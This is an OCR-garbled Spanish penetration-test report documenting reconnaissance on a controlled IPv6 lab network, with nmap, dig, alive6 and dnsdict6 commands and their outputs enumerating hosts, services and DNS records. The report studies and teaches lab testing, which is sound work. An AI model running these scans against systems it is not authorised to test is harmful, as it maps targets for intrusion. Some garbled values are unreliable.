Nmap scan report for 2001:12:7000::cafe:33

Host is up (0.0014s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

| ssh-hostke

| 2048 7d:15:04:1b:0a:49:ad:04:8e:a7:be:57:bb:af:92:bf (RSA)

| 256 04:58:30:b3:b5:¢6:75:¢c7:72:f5:1b:55:03:48:4a:2d (ECDSA)
| 256 10:88:c8:d2:52:d9:17:f1:74:08:32:8d:a5:c8:c0:89 (EdDSA)
53/tcp open domain ISC BIND 9.9.4

| dns-nsid:

| _ bind.version: 9.9.4-RedHat-9.9.4-51.el7 4.2

MAC Address: 08:00:27:41:37:92 (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 3.X

0S CP cpe:/o:linux:linux_kernel:3

0S details: Linux 3.12 - 3.18

Network Distance: 1 hop

Service Info: 0S: Red Hat Enterprise Linux 7; CPE: cpe:/o:redhat:enterprise linux:7

TRACEROUTE
HOP RTT ADDRESS
1 1.40 ms 2001:12:7000::cafe:33




3.

:~# nmap -6 -A -0 -sV 2001:12:7000::cafe:32

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-22 21:25 EDT

INmap scan report for dnsl.bancodk.com (2001:12:76000::cafe:32)

Host is up (0.0015s latency)

INot shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

| ssh-hostkey:
2048 7d:15:04:1b:0a:49:ad:04:8e:a7:be:57:bb:af:92:bf (RSA)
256 04: 5 2d (ECDSA)
256 10:88:c8:d2:52:d9:17: 8:32:8d:a5:c8:c0:89 (EdDSA)

53/tcp open ISC BIND 9.9.4

| dns-nsid:

_ bind.version: 9.9.4-RedHat-9.9.4-51.el7 4.2

MAC Address: ©8:00:27:51:F0:6C (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Linux 3.X

0S CPE: cpe:/o:linux:linux_kernel:3

0S details: Linux 3.12 - 3.18

INetwork Distance: 1 hop

Service Info: 0S: Red Hat Enterprise Linux 7; CPE: cpe:/o:redhat:enterprise linux:7

ADDRESS
1.53 ms dnsl.bancodk.com (2001:12:7000::cafe:32)

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
INmap done: 1 IP address (1 host up) scanned in 26.07 seconds

:~# nmap -6 -A -0 -sV 2001:12:7000::cafe:34

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-22 21:29 EDT
Nmap scan report for 2001:12:7000::cafe:34

Host is up (0.0018s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

| ssh-hostkey:

| 2048 7d:15:04:1b:0a:49:ad:04:8e:a7:be:57:bb:af:92:bf (RSA)

| 256 04:58:30: 1b:55 48:4a:2d (ECDSA)
|_ 256 10:88:c 2:52: 7:f1:74:08:32:8d:a5:¢c8:c0:89 (EdDSA)
53/tcp open domain ISC BIND 9.9.4

| dns-nsid:

| bind.version: 9.9.4-RedHat-9.9.4-51.el7 4.2

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

|_ 1leeeee 2,3,4 111/udp rpcbind

MAC Address: ©8:00:27:47:F9:81 (Oracle VirtualBox virtual NIC)
Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux kernel:4
0S details: Linux 3.13 - 4.1

Network Distance: 1 hop

Service Info: 0S: Red Hat Enterprise Linux 7; CPE: cpe:/o:redhat:enterprise linux:7

TRACEROUTE
HOP RTT ADDRESS
1 1.79 ms 2001:12:7000::cafe:34

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.10 seconds

Identificar relaciones IP servidores-nombre de dominio, Identificar
dominios y subdominios.

Debido a que se encontré que dentro del segmento de red se encuentra
host prestando el servicio de DNS, se procede a buscar informacion de los
servidores DNS.

Nombre Encontrar relacionados IP-nombres de dominios
Tipo de prueba | Recoleccion de informacion

Herramienta Dig

Descripcion

En esta PoC se utiliza la herramienta dig para realizar consultas
inversas, consultando por las IP que prestan el servicio de DNS para




asociar IP y nombre de dominio.

Resultado
La prueba de concepto se realiza sobre los host activos que prestan
el servicio de DNS, se obtiene como resultados:
e EIl host 2001:12:7000::cafe:32 esta asociado al nombre de
servidor dnsl.bancodk.com y al dominio bancodk.com
e EIl host 2001:12:7000::cafe:33 esta asociado al nombre de
servidor dnsl.bancodk.com y al dominio bancodk.com
e EI host 2001:12:7000::cafe:34 estda asociado al nombre de
servidor dnsl.transacciones.bancodk.com y al dominio
transacciones.bancodk.com

Evidencia de la prueba de concepto y resultados obtenidos
:/# dig -x 2001:12:7000::cafe:32

; <<>> DiG 9.11.2-5-Debian <<>> -x 2001:12:7000::cafe:32

;; global options: +cmd

; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17102

;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 1, ADDITIONAL: 2

; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096

;; QUESTION SECTION:
;2.3.0.0.e.f.2.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.ip6.arpa. IN PTR

.ip6.arpa. 602980 IN PTR dnsl.bancodk.com.
.ip6.arpa. 602980 IN PTR bancodk.com.

3+ AUTHORITY SECTION:
e.f.a.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.ip6.arpa. 602980 IN NS dnsl.bancodk.com.

;; ADDITIONAL SECTION:
dns1.bancodk.com. 603027 IN AAAA 2001:12:7000: :cafe:32

;3 Query time: 5 msec
;; SERVER: 2001:12:7000::cafe:35#53(2001:12:7000: :cafe:35)
;3 WHEN: Fri Jun 22 21:55:56 EDT 2018

; MSG SIZE rcvd: 187

:/# dig -x 2001:12:7000::cafe:33

; <<>> DiG 9.11.2-5-Debian <<>> -x 2001:12:7000::cafe:33

;3 global options: +cmd

;; Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29320

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;7 OPT PSEUDOSECTION:

; EDNS: version: ©, flags:; udp: 4096

;5 QUESTION SECTION:
;3.3.0.0.e.7.2.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.ip6.arpa. IN PTR

;7 ANSWER SECTION:
3.3.0.0.e.7.2.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.ip6.arpa. 604755 IN PTR transacciones.bancodk.com.

;7 AUTHORITY SECTION:
e.f.a.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.ip6.arpa. 604755 IN NS dnsl.bancodk.com.

;; ADDITIONAL SECTION:
dns1.bancodk.com. 604755 1IN AAAA 2001:12:7000: :cafe:32

;3 Query time: 1 msec

;3 SERVER: 2001:12:7000::cafe:35#53(2001:12:7000: :cafe:35)
;3 WHEN: Fri Jun 22 22:51:34 EDT 2018

;; MSG SIZE rcvd: 187




-X 2001:12:7000::cafe:34

<>> -x 2001:12:7000::cafe:34

us: NXDOMAIN, id: 31855
, AUTHORITY: 1, ADDITIONAL: 1

e.Taic

UTHORITY SECTION:
.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.ip6.arpa. 10800 IN SOA dnsl.bancodk.com. admin.bancodk. 2018041701 86400 3600 604800 10800

::cafe:35#53(2001:12:7000: :cafe:35)
52:17 EDT 2018

Nombre Enumerar las entradas DNS IPv6 de un dominio

Tipo de prueba | Recoleccion de informacion

Herramienta Dnsdict6

Descripcion

En esta PoC se utiliza la herramienta dnsdict6 para enumerar las
entradas DNS IPv6, de los dominios que se encuentran dentro la red
interna de la organizacion.

Resultado
En esta prueba de concepto se encontrd los subdominios existentes
para los dominio bancodk.com y transacciones.bancodk.com

Para el dominio bancodk.com se encuentra los subdominios:
dnsl.bancodk.com =>2001:12:7000::cafe:32
www.bancodk.com => 2001:12:7000::cafe:6

Para el dominio transacciones.bancodk.com se encuentra los
subdominios:

dnsl.transacciones.bancodk.com =>2001:12:7000::cafe:8
www.transacciones.bancodk.com =>2001:12:7000::cafe:8

Evidencia de la prueba de concepto y resultados obtenidos

: /# dnsdict6é bancodk.com

Starting DNS umeration work on bancodk.com.

Starting enum ing bancodk.com. - creating 8 threads for 1420 words...
Estimated time to completion: 1 to 2 minutes

dnsl.bancodk.com. == 2001:12:7000::cafe:32

www.bancodk.com. == 2001:12:7000: :cafe:6

nsdicté transacciones.bancodk.com
numeration work on transacciones.bancodk.com. ...
ting transacciones.bancodk.com. - creating 8 threads for 1420 words...
d time to completion: 1 to 2 minutes
accic .bancodk.com. => 2001:12:7000::cafe:33

www.transacciones.bancodk.com. => 2001:12:7000::cafe:8




Una vez encontrados los dominios y subdominios dentro de la red, se
procede a buscar informacion externa relacionada con los dominios
internos. Para lo cual se realiza las pruebas a continuacion.

Nombre Asociar dominios relacionados con direcciones IP

Tipo de prueba | Recoleccion de informacion

Herramienta Dig

Descripcion

Se utiliza la herramienta dig, para trazar el recorrido para solucionar el
dominio bancodk.com, para encontrar los servidores externos de
mayor jerarquia relacionados al dominio interno.

Resultado

En esta prueba de concepto se busca encontrar los dominios y
servidores externos, relacionados a los dominios internos de la
organizacion. Se encontro los siguientes resultados

Para el dominio bancodk.com los dominios externos relacionados son:

f.root-servers.net 2001:500:2f::f:bebe:32

e com.
a.gtld-servers.net.com 2001:503:3f::beca:32

e bancodk.com.
dnsl.bancodk.com 2001:12:7000::café:32

Para el dominio transacciones.bancodk.com los dominios externos
relacionados son:

f.root-servers.net 2001:500:2f::f:bebe:32

e com.
a.gtld-servers.net.com 2001:503:3f::beca:32
e bancodk.com.
dnsl.bancodk.com 2001:12:7000::café:32
e transacciones.bancodk.com
dnsl.transacciones.bancodk.com 2001:12:7000::café:32




Evidencia de la prueba de concepto y resultados obtenidos.

:/# dig AAAA bancodk.com +trace

; <<>> DiG 9.11.2-5-Debian <<>> AAAA bancodk.com +trace

;; global options: +cmd

; 604538 1IN NS f.root-servers.net.

;; Received 87 bytes from 2001:12:7000::cafe:35#53(2001:12:7000::cafe:35) in 1 ms

com. 864000 1IN NS a.gtld-servers.net.com.
;; Received 101 bytes from 2001:500:2f::f:bebe:32#53(f.root-servers.net) in 5 ms

bancodk.com. 864000 IN NS dnsl.bancodk.com.
;; Received 87 bytes from 2001:503:3f::beca:32#53(a.gtld-servers.net.com) in 38 ms

bancodk.com. 864000 IN AAAA 2001:12:7000: : cafe:32
bancodk. com. 864000 1IN NS dnsl.bancodk.com.
;; Received 115 bytes from 2001:12:7000::cafe:32#53(dnsl.bancodk.com) in 1 ms

:/# dig AAAA transacciones.bancodk.com +trace

; <<>> DiG 9.11.2-5-Debian <<>> AAAA transacciones.bancodk.com +trace

;; global options: +cmd

. 604518 1IN NS f.root-servers.net.

;; Received 87 bytes from 2001:12:7000::cafe:35#53(2001:12:7000::cafe:35) in 1 ms

com. 864000 1IN NS a.gtld-servers.net.com.
;; Received 115 bytes from 2001:500:2f::f:bebe:32#53(f.root-servers.net) in 2 ms

bancodk.com. 864000 1IN NS dnsl.bancodk.com.
;; Received 101 bytes from 2001:503:3f::beca:32#53(a.gtld-servers.net.com) in 40 ms

transacciones.bancodk.com. 864000 IN NS dnsl.transacciones.bancodk.com.
;; Received 101 bytes from 2001:12:7000::cafe:32#53(dnsl.bancodk.com) in 4 ms

transacciones.bancodk.com. 864000 IN AAAA 2001:12:7000: :cafe:33
transacciones.bancodk.com. 864000 IN NS dnsl.transacciones.bancodk.com.
; Received 129 bytes from 2001:12:7000::cafe:33#53(dnsl.transacciones.bancodk.com) i

PoC de Recoleccién de Informacién sobre el escenario de pruebas
controlado cuando todo el sistema DNS es Windows Server 2012.

Descripcion de la prueba

Se realiza el proceso de recoleccion sobre el escenario de pruebas controlado
IPv6 cuando todo el sistema DNS esta soportado sobre windows server 2012 ,
lo que significa que los servidores DNS autoritarios de los diferentes dominios
tanto internos ( bancodk.com y tansacciones.bancodk.com). Mientras que la
res externa esta implentada en Linux. Centrandoce en la recolecion de
informacion en el la red interna que esta soportada sobre el sistema Windows
serer 2012.



Este PoC de recoleccion de informacion es la primera actividad de la fase de
penetracion y en la cual se llevan a cabo tres tareas, identificacion de host
activos en el segmento de red, una vez se han determinado los host activos
dentro del segmento de red se procese a encontrar sistemas operativos,
servicios y versiones de los servicios activos en cada uno de los host y por
ultimo una vez se ha determinado que host soportan el servicio de DNS se
procede a identificar relaciones de direccion IP con nombres de dominio que es
identificar en todo el sistema que servidor es autoritario de determinado

dominio.

1. Encontrar host activos en segmento de red.

Se busca determinar los host activos dentro de el segmento de red
utilizando las herramientas de Alive6

Nombre Encontrar host activos en el segmento de red.
Tipo de prueba Recoleccion de informacién

Herramienta Nmap

Descripcion

En esta PoC se busca encontrar host activos dentro del segmento de red
CAFE, red interna de la organizacién, utilizando la herramienta nmap

Resultado
Se obtiene como resultado que en el segmento de red CAFE se
encuentra activos 6 host en el momento de realizarse la prueba
e 2001:12:7000::cafe:1
2001:12:7000::cafe:12
2001:12:7000::cafe:34
2001:12:7000::cafe:35
2001:12:7000::cafe:33
2001:12:7000::cafe:32
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Evidencia de la prueba de concepto y de los resultados obtenidos

:~# nmap -6 2001:12:7000::cafe:0/112

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-26 11:45 EDT
Nmap scan report for 2001:12:7000::cafe:0

Host is up (0.19s latency).

ALl 1000 scanned ports on 2001:12:7000::cafe:0 are filtered

MAC Address: FO:4D:A2:DB:F2:CE (Dell)

Nmap scan report for 2001:12:7000::cafe:
Host is up (0.00092s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

111/tcp open rpcbind

179/tcp open bgp

2601/tcp open zebra

2605/tcp open bgpd

MAC Address: FO:4D:A2:DB:F2:CE (Dell)

Nmap scan report for 2001:12:7000::cafe:12
i (0.0011s latency).
995 closed ports
STATE SERVICE

open msrpc
open microsoft-ds
open unknown
open m2mservices
open https-alt
MAC Address: F4:4D:30:15:06:12 (Elitegroup Computer Systems)

Nmap scan report for 2001:12:7000::cafe:34
Host is up (0.0013s latency).
Not shown: 989 closed ports
STATE SERVICE
open domain
open msrpc
open microsoft-ds
filtered tivoconnect
open unknown
open unknown
open unknown
open unknown
open unknown
open unknown
open unknown
MAC Address: ©8:00:27:B9:02:Al1 (Oracle VirtualBox virtual NIC)

Nmap scan report for 2001:12:7000::cafe:35
Host is up (0.00036s latency)
Not shown: 990 closed ports
STATE SERVICE
open domain
open msrpc
open microsoft-ds
open unknown
open unknown
open unknown
open unknown
open unknown
open unknown
open unknown
MAC Address: 08:00:27:B4:24:90 (Oracle VirtualBox virtual NIC)
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Nmap scan report for 2001:12:7000::cafe:32
Host is up (0.0011s latency).
Not shown: 983 closed ports
STATE SERVICE
open domain
open kerberos-sec
open msrpc
open ldap
open microsoft-ds
open kpasswds
open http-rpc-epmap
open ldapssl
open globalcatLDAP
open globalcatLDAPssl
open unknown
open unknown
open unknown
open unknown
open unknown
open unknown
open unknown
MAC Address: 08:00:27:B3:D8:62 (Oracle VirtualBox virtual NIC)

Nmap scan report for 2001:12:7000::cafe:33
Host is up (0.0011ls latency).
Not shown: 984 closed ports
STATE SERVICE
open domain
open kerberos-sec
open msrpc
open ldap
open microsoft-ds
open kpasswd5
open http-rpc-epmap
open ldapssl
open globalcatLDAP
open globalcatLDAPssl
open unknown
open unknown
open unknown
open unknown
open unknown
open unknown
MAC Address: 08:00:27:7F:04:01 (Oracle VirtualBox virtual NIC)




2. Encontrar sistemas operativos, servicios y versiones

Nombre Encontrar sistemas operativos, servicios y
versiones

Tipo de prueba | Recoleccion de informacion

Herramienta Nmap

Descripcion

En esta PoC se busca encontrar sistemas operativos, servicios y
versiones, utilizando la herramienta Nmap dentro del segmento de
red CAFE.

Resultado
La prueba de concepto se realiza sobre los host activos para
recolectar informacién sobre los mismos, de esta prueba se obtiene
gue los host acitvos se encuentran implementados sobre sistemas
operativos windows. Donde se encontrd que el servidor de windows
presenta un mayor numero de puertos abiertos con servicos. Entre
los cuales estan:
Puerto Servico Version

53 domain Microsoft DNS

88 kerberos-Sec  Microsoft Windows kerberos

135 msrpc Microsoft Windows LDAP

389 Ldap Microsoft Windows Active Directory

Entre otros.

Evidencia de la prueba identificacién de servicios, versiones y
sistemas operativos

:~# nmap -6 -A -0 -sV 2001:12:7000::cafe:32

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-26 12:00 EDT
Nmap scan report for 2001:12:7000::cafe:32
Host is up (0.0012s latency).
Not shown: 983 closed ports
PORT STATE SERVICE VERSION
open domain Microsoft DNS
open kerberos-sec Microsoft Windows Kerberos (server time: 2018-06-26 18:00:42Z)
open msrpc Microsoft Windows RPC
open ldap Microsoft Windows Active Directory LDAP (Domain: bancodk.com, Site:
Default-First-Site-Name)
open microsoft-ds Windows Server 2012 Standard 9200 microsoft-ds (workgroup: BANCODK)
open kpasswd5?
open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: bancodk.com, Site:
Default-First-Site-Name)
3269/tcp open tcpwrapped
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49158/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49165/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:B3:D8:62 (Oracle VirtualBox virtual NIC)
No 0S matches for host (If you know what 0S is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
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:~# nmap -6 -A -0 -sV 2001:12:7000::cafe:33

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-26 12:14 EDT
Nmap scan report for 2001:12:7000::cafe:33
Host is up (0.0013s latency).
Not shown: 984 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2018-0
6-26 18:14:27Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain
transacciones.bancodk.com, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2012 Standard 9200 microsoft-ds
(workgroup: TRANSACCIONES)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain
transacciones.bancodk.com, Site: Default-First-Site-Name)
open tcpwrapped
open msrpc Microsoft Windows RPC
open msrpc Microsoft Windows RPC
open msrpc Microsoft Windows RPC
open msrpc Microsoft Windows RPC
open msrpc Microsoft Windows RPC
open ncacn_http Microsoft Windows RPC over HTTP 1.0
MAC Address: 08:00:27:7F:04:01 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
0S CPE: cpe:/o:microsoft:windows 7::spl cpe:/o:microsoft:windows server_ 2008
:r2 cpe:/o:microsoft:windows 8.1
0S details: Microsoft Windows 7 SP1 or Windows Server 2008 R2 or Windows 8.1
Network Distance: 1 hop
Service Info: Host: DNS1; 0S: Windows; CPE: cpe:/o:microsoft:windows

:~# nmap -6 -A -0 -sV 2001:12:7000::cafe:34

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-26 12:17 EDT
Nmap scan report for 2001:12:7000::cafe:34
Host is up (0.0013s latency).
Not shown: 990 closed ports
STATE SERVICE VERSION
open domain Microsoft DNS
open msrpc Microsoft Windows RPC
open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsof

open msrpc Microsoft Windows RPC

open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft wWindows RPC
49155/tcp open msrpc Microsoft wWindows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC

msrpc Microsoft Windows RPC
: 08:00:27:B9:02:A1 (Oracle VirtualBox virtual NIC)

No 0S matches for host (If you know what 0S is running on it, see https://nma
p.org/submit/ ).
TCP/IP fingerprint:

Como se puede observer los servidores windows 2012 tienen un gran cantidad de
puertos abiertos con diferentes servicios, por defecto abiertos en comparacion a
los sistemas Linux que hemos encontrado que tienen entre dos y un solo puerto
abierto. A pesar que en todos solo se configuro el servico DNS
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:~# nmap -6 -A -0 -sV 2001:12:7000::cafe:35

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-26 12:27 EDT
Nmap scan report for 2001:12:7000::cafe:35
Host is up (0.00028s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS
135/tcp open msrpc Microsoft Windows RPC
open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsof

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

49158/tcp open msrpc Microsoft Windows RPC

49159/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:B4:24:90 (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Microsoft Windows 7|2008|8.1

0S CPE: cpe:/o:microsoft:windows 7::spl cpe:/o:microsoft:windows server 2008:
r2 cpe:/o:microsoft:windows 8.1

0S details: Microsoft Windows 7 SP1 or Windows Server 2008 R2 or Windows 8.1
Network Distance: 1 hop

Service Info: 0Ss: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:micros
oft:windows

Identificar relaciones IP servidores-nombre de dominio, Identificar

dominios y subdominios.

Nombre Enumerar las entradas DNS IPv6 de un dominio

Tipo de prueba | Recoleccion de informacién

Herramienta Dnsdict6

Descripcion

En esta PoC se utiliza la herramienta dnsdict6 para enumerar las
entradas DNS IPv6, de los dominios que se encuentran dentro la red
interna de la organizacion.

Resultado
En esta prueba de concepto se encontrd los subdominios existentes
para los dominio bancodk.com y transacciones.bancodk.com
e Para el dominio bancodk.com se encuentra los subdominios:
dnsl.bancodk.com => 2001:12:7000::cafe:32
www.bancodk.com =>2001:12:7000::cafe:6
e Para el dominio transacciones.bancodk.com se encuentra los
subdominios:
dnsl.transacciones.bancodk.com =>2001:12:7000::cafe:8
www.transacciones.bancodk.com =>2001:12:7000::cafe:8
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Evidencia de la PoC

:~# dnsdicté bancodk.com.
Starting DNS enumeration work on bancodk.com. ...
Starting enumerating bancodk.com. - creating 8 threads for 1420 words...
Estimated time to completion: 1 to 2 minutes
dnsl.bancodk.com. => 2001:12:7000: :cafe:32
www.bancodk.com. => 2001:12:7000: :cafe:6

Found 2 domain names and 2 unique ipv6 addresss for bancodk.com.

:~# dnsdicté transacciones.bancodk.com.
Starting DNS enumeration work on transacciones.bancodk.com. ...
Starting enumerating transacciones.bancodk.com. - creating 8 threads for 1420 words...
Estimated time to completion: 1 to 2 minutes
dnsl.transacciones.bancodk.com. => 2001:12:7000::cafe:33
www.transacciones.bancodk.com. => 2001:12:7000::cafe:38

PoC de Recoleccién de Informacion sobre el escenario de pruebas
controlado cuando todo el sistema DNS es Debian DNSSEC.

Descripcion de la prueba

Se realiza el proceso de recoleccion sobre el escenario de pruebas controlado
IPv6 cuando todo el sistema DNS esta soportado sobre Debian , lo que
significa que los servidores DNS autoritarios de los diferentes dominios tanto
internos ( bancodk.com y tansacciones.bancodk.com) como los dominios
externos ( ., con, comunicate.com y networks.com) estdn sobre el sistema

operativos Debian con DNSSEC.

Este PoC de recoleccion de informacion es la primera actividad de la fase de
penetracién y en la cual se llevan a cabo tres tareas, identificacion de host
activos en el segmento de red, una vez se han determinado los host activos
dentro del segmento de red se procese a encontrar sistemas operativos,
servicios y versiones de los servicios activos en cada uno de los host y por
ultimo una vez se ha determinado que host soportan el servicio de DNS se
procede a identificar relaciones de direccion IP con nombres de dominio que es
identificar en todo el sistema que servidor es autoritario de determinado

dominio.

16



1. Encontrar host activos en segmento de red.

Se busca determinar los host activos dentro del segmento de red utilizando
las herramientas de Alive6 y Nmap.

Nombre

Encontrar host activos en el segmento de red.

Tipo de prueba

Recoleccion de informacioén

Herramienta

Alive6

Descripcion:

alive6

En esta PoC se busca encontrar host activos dentro del segmento
de red CAFE, red interna de la organizacion, utilizando la herramienta

Resultado

Se obtiene como resultado que en el segmento de red CAFE se
encuentra activos 5 host en el momento de realizarse la prueba
e 2001:12:7000::cafe:1
2001:12:7000::cafe:5
2001:12:7000::cafe:12
2001:12:7000::cafe:3
2001:12:7000::cafe:2

Evidencia de la prueba de concepto y de los resultados obtenidos

:~# aliveb ethe

2001:
2001:
2001:
2001:
2001:

12:
12:
12:

7008::cafe:5 [ICMP echo-replyl]
7008::cafe:1 [ICMP echo-reply]
7000::cafe:12 [ICMP parameter problem]

2:7000: :cafe:3 [ICMP echo-reply]
22

2:7008: :c

[ICMP echo-reply]

nd found

1. Encontrar sistemas operativos, servicios y versione

Nombre

Encontrar sistemas operativos, servicios y versiones

Tipo de prueba

Recoleccion de informacion

Herramienta

Nmap

Descripcion
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En esta PoC se busca encontrar sistemas operativos, servicios y
versiones, utilizando la herramienta Nmap dentro del segmento de red
CAFE.

Resultado
La prueba de concepto se realiza sobre los host activos para recolectar
informacion sobre los mismos, de esta prueba se obtiene que :
e Se encuentran activos 5 direcciones activas dentro del segmento
de red café.
e El host 2001:12:7000::cafe:1 corre sobre un sistema Linux y que
presta el servicio de Router sobre los puertos 2601 y 2605
e El host 2001:12:7000::cafe:2 corre sobre un sistema Linux y que
presta el servicio de DNS, en el puerto 53.
e El host 2001:12:7000::cafe:3 corre sobre un sistema Linux y
que presta el servicio de DNS, en el puerto 53.
e El host 2001:12:7000::cafe:5 corre sobre un sistema Linux y que
presta el servicio de DNS, en el puerto 53.

De los host activos se obtuvo también la direccion MAC de cada uno
de ellos

Evidencia de la prueba de concepto y de los resultados obtenidos

:~# nmap -6 -A -0 -sV 2001:12:7000::cafe:1

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-25 12:38 EDT
Nmap scan report for 2001:12:7000::cafe:1

Host is up (0.00067s latency).

Not shown: 996 closed ports

PORT STATE SERVICE VERSION

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100024 1 38619/tcp status

| 100024 1 49099/udp status

179/tcp open tcpwrapped

2601/tcp open quagga Quagga routing software 0.99.23.1 (Derivative of GNU Zebra)
2605/tcp open quagga Quagga routing software 0.99.23.1 (Derivative of GNU Zebra)
MAC Address: F0:4D:A2:DB:F2:CE (Dell)

Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux kernel:4
0S details: Linux 3.13 - 4.1

Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.67 ms 2001:12:7000::cafe:1
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2.

:~# nmap -6 -A -0 -sV 2001:12:7000::cafe:2

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-25 12:44 EDT
Nmap scan report for 2001:12:7000::cafe:2

Host is up (0.0021s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND
| dns-nsid:

9.10.3-P4-Debian

| bind.version: 9.10.3-P4-Debian
MAC Address: 08:0 :50:64:6E (Oracle VirtualBox virtual NIC)

Device type: general purpose
Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux kernel:3 cpe:/o:linux:linux kernel:4

0S details: Linux 3.13 - 4.1
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS

1 2.09 ms 2001:12:7000::cafe:2

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
i 0 eco

:~# nmap -6 -A -0 -sV

2001:12:7000: :cafe:3

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-25 12:46 EDT
Nmap scan report for 2001:12:7000::cafe:3

Host is up (0.0013s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION

53/tcp open domain ISC BIND 9.10.3-P4-Debian

| dns-nsid:

MAC Addres 08:00:27:4E:57:DD

Device typ general purpose
i Linux 3.X|4.X

cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

0S details: Linux 3.13 - 4.1
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 1.34 ms 2001:12:7000: :cafe

| bind.version: 9.10.3-P4-Debian

(Oracle VvirtualBox virtual NIC)

23

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 19.12 seconds

:~# nmap -6 -A -0 -sV

2001:12:7000: :cafe:5

Starting Nmap 7.60 ( https://nmap.org ) at 2018-06-25 12:47 EDT
Nmap scan report for 2001:12:7000::cafe:5

Host is up (0.00055s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION

53/tcp open domain ISC BIND 9.10.3-P4-Debian

| dns-nsid:

| bind.version: 9.10.3-P4-Debian

MAC Address: 08:00:27:F1:2C:A5
Device type: general purpose
Running: Linux 3.X|4.X

(Oracle VirtualBox virtual NIC)

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

0S details nux 3.13 - 4.1
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS

i 6.55 ms 2001:12:7000::cafe:

5

